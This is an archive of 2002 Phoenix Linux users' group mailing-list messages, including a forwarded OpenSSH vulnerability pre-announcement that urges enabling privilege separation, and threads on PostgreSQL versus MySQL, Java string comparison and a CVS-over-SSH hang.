on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > message to discuss-unsubscribe@mandrakesecure.net. To visit MandrakeSecure, > go to http://www.mandrakesecure.net/. > -- MandrakeSoft Security; http://www.mandrakesecure.net/ "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. --------------080706000507070407060207 Content-Type: application/pgp-signature; name="file:///tmp/nsmail.tmp" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="file:///tmp/nsmail.tmp" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMC43IChH TlUvTGludXgpCgppRDhEQlFFOUY1SldJRVBRNWY1dkt2MFJBanFNQUtDeFUydHRjblFpSURP cFRRZ3FqYURZMXpKSW1RQ2dzTnFtCnkxeUVkZnE5eHhlV21oY2RHUm01Y0pzPQo9SDg2dgot LS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0KCg== --------------080706000507070407060207-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 24 Jun 2002 18:59:21 -0500 (CDT) Subject: PostgreSQL versus MySQL In-Reply-To: <15639.39847.826426.684817@bela.interhack.net> Message-ID: Most MySQL issues I think have been fixed as of late with InnoDB, the things that used to hold it up (and still might) 1. Lack of refriential integrity (FK's) 2. No Transaction Support 3. Table Level Locking 4. No Triggers/Stored Procedures 5. Poor SQL92 Support (no db is SQL92 compliant, but some better than others) 6. No Subselects 7. No Unions 8. No concept of OID's or unique rows and the list goes on. Please note that if MySQL was to be used for things like dynamic websites that have a much higher read to write ratio, where table level locking is a plus not a minus. And where integrity is not nearly as important (not business transactional systems like G/L's and the likes) MySQL is/was a good choice. However the minute you step into business applications that heavy transaction updates and reporting, MySQL will/would nearly cripple you. Postgres is MUCH better suited to such tasks. However its far from perfect. The Free (as in libre) database to watch and use for transactional business applications is the GPL'd SAP-DB. If you havent investigated it you might want to. -Derek On Mon, 24 Jun 2002, Lynn David Newton wrote: > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:53:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 20:53:43 -0400 Subject: Help getting experience References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <3D17BF17.BC30AC5C@georgetoft.com> The sad thing is the programmer from the Big 5 Consulting Firm that we paid almost 7 figures to didn't know the difference either. George Isaac Sparrow wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > > > BTW...my gut instinct tells me that the second example > > > > 'if (a.equals("something")){ > > > > ---instructions---- > > > > } > > > > will compile and work....I've seen this example > > before, > > but not sure why a.equals works rather than a == > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > "a.equls()" tests to see if the objects are equal. Two diff. objects are > equal. > "==" will tell you if two refrences point to the same object. > > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false > > b = a > > if (a == b) // true > > Hope this helps. > - -- > - ------------------------------------------------- > Isaac Sparrow > Staff Engineer > VisiComp, Inc. > http://www.visicomp.com > > GnuPG Key Fingerprint: > 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 > Get my public key at: > http://www.concentric.net/~issparow > > 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' > von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. > (Christa Keil in a German posting: "Mounting is used for three things: > climbing on a horse, linking in a hard disk unit in data systems, and, well, > mounting during sex".) > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: NSA bad. Encryption good. > > iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL > cY2XScj/BEnP6rGkL67HNng= > =lN7s > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:03:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 21:03:39 -0400 Subject: Quick Reference cards in PDF Message-ID: <3D17C16B.CD32D522@georgetoft.com> http://www.quickreferences.yucom.be/quickrefs.htm -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:52:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 24 Jun 2002 17:52:08 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <3D17AC36.8020104@deru.com> References: <3D17AC36.8020104@deru.com> Message-ID: <20020625005208.GA31017@aries.evilmascot.com> I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:19:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 24 Jun 2002 18:19:48 -0700 Subject: Help getting experience In-Reply-To: <200206211109.49382.isaac.sparrow@visicomp.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <20020625011948.GF8953@ecloud.org> On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false Maybe, but Java can also do string interning, which means that it will see that you already have "foo", probably don't need another one, and therefore make them both refer to the same instance. While in general you should use .equals() (or .equalsIgnoreCase(), also very handy; or a Collator, for faster comparison of frequently-used strings, or for alphabetical sorting) to compare strings, if you use intern() on every String, you can use == to compare them, and it will be a lot faster to just compare references instead of looking at every character until a difference is found. But internment (like interrment!) is itself an expensive operation. Make sure you know the difference between deprecation and depreciation, and how to pronounce the two; hate to think of how many programmers I've met who don't. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:58:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 17:58:13 -0700 Subject: IPCop [SOLVED] In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020624175813.57e10a64.snoogans@qwest.net> thanks to veryone who helped out, the problem was i had it plugged into the uplink port, woops :) thanks to gilbert for the solution :) i allways had to plug the direct line from the qwest box into the uplink port so i just figured it was the same, boy was i wrong =/ well it works now and i got all the updates so its goin good, chalk up another successful installfest install :) On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:48:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 24 Jun 2002 18:48:44 -0700 Subject: OT: Language Stuff (WAS: Help getting experience) In-Reply-To: <20020625011948.GF8953@ecloud.org> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> <20020625011948.GF8953@ecloud.org> Message-ID: <200206241848.49890.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 24 June 2002 06:19 pm, Shawn Rutledge wrote: > On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > > String a = "foo" > > String b = "foo" > > > > if (a.equals(b)) // true > > > > if (a == b) // false > > Maybe, but Java can also do string interning, which means that it will > see that you already have "foo", probably don't need another one, and > therefore make them both refer to the same instance. While in general > you should use .equals() (or .equalsIgnoreCase(), also very handy; or a > Collator, for faster comparison of frequently-used strings, or for > alphabetical sorting) to compare strings, if you use intern() on every > String, you can use == to compare them, and it will be a lot faster to > just compare references instead of looking at every character until a > difference is found. But internment (like interrment!) is itself an > expensive operation. I was under the impression that C++ did the same thing. The compiler generates a "static" region of memory that is used for all strings. Although the feature is compiler dependant, if you use the same string in two spots, they should both reference the same string. The gotcha' occurs when the compiler determines the string will be altered, in which case a copy of the string is made rather than using the original. Furthermore, I was under the impression that this was all done at compile time, so it is not really expensive. I would be extremely surprised if Java didn't do the same thing. After all, a String is immutable so there is practically zero overhead with trying to figure that one out. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9F8wApNoctRtUIRQRAv4NAJ9wxIF2u2jITrDpM6puKMNugJy4MQCgjEO4 NJFvVStf/BJFkI99OIELnm0= =LNpe -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:59:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 18:59:06 -0700 Subject: Install Fest Leftovers In-Reply-To: <02062411335104.07972@nova.wedge.org> References: <02062411335104.07972@nova.wedge.org> Message-ID: <1024970346.3d17ce6ae926a@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > OK - I have two meeses and a keyboard and two multiport hubs that I took home > > from the Install Fest. The owners can either claim them (I know who you are) > > or rest assured that they have found a good home. > - -- > Jim > Jim, If the Maueser say Trekker on them they're mine, but you can keep them just feed them a little Kaese now and then. mfg, Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:26:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:26:26 +0000 Subject: PostgreSQL versus MySQL Message-ID: <20020625022626.9ECDA6D9C0@www.fastmail.fm> I can't give you a point-by-point comparison, but I'd select PostgreSQL. It's very easy to set up and manage, it's very stable under load and is fully ACID-compliant. Here are a few links that may help you decide, but realize that both databases are evolving fairly rapidly, so some of this may be rather dated: http://www.phpbuilder.com/columns/tim20001112.php3 http://www.devshed.com/Server_Side/PostgreSQL/Installing/page1.html http://dmoz.org/Computers/Software/Databases/PostgreSQL http://www.101com.com/elx/article.asp?articleid=4340 http://philip.greenspun.com/panda/databases-choosing#acid /s. ======================================= Scott S. Goodwin scott@scottg.net http://scottg.net On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:32:26 +0000 Subject: CVS via SSH issues Message-ID: <20020625023226.69AA16D9B0@www.fastmail.fm> (resend -- forgot to set the 'Re:' to something intelligible -- sorry.) On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:31:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:31:02 +0000 Subject: PLUG-discuss digest, Vol 1 #2399 - 11 msgs Message-ID: <20020625023102.EFAC36DAB1@www.fastmail.fm> On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: 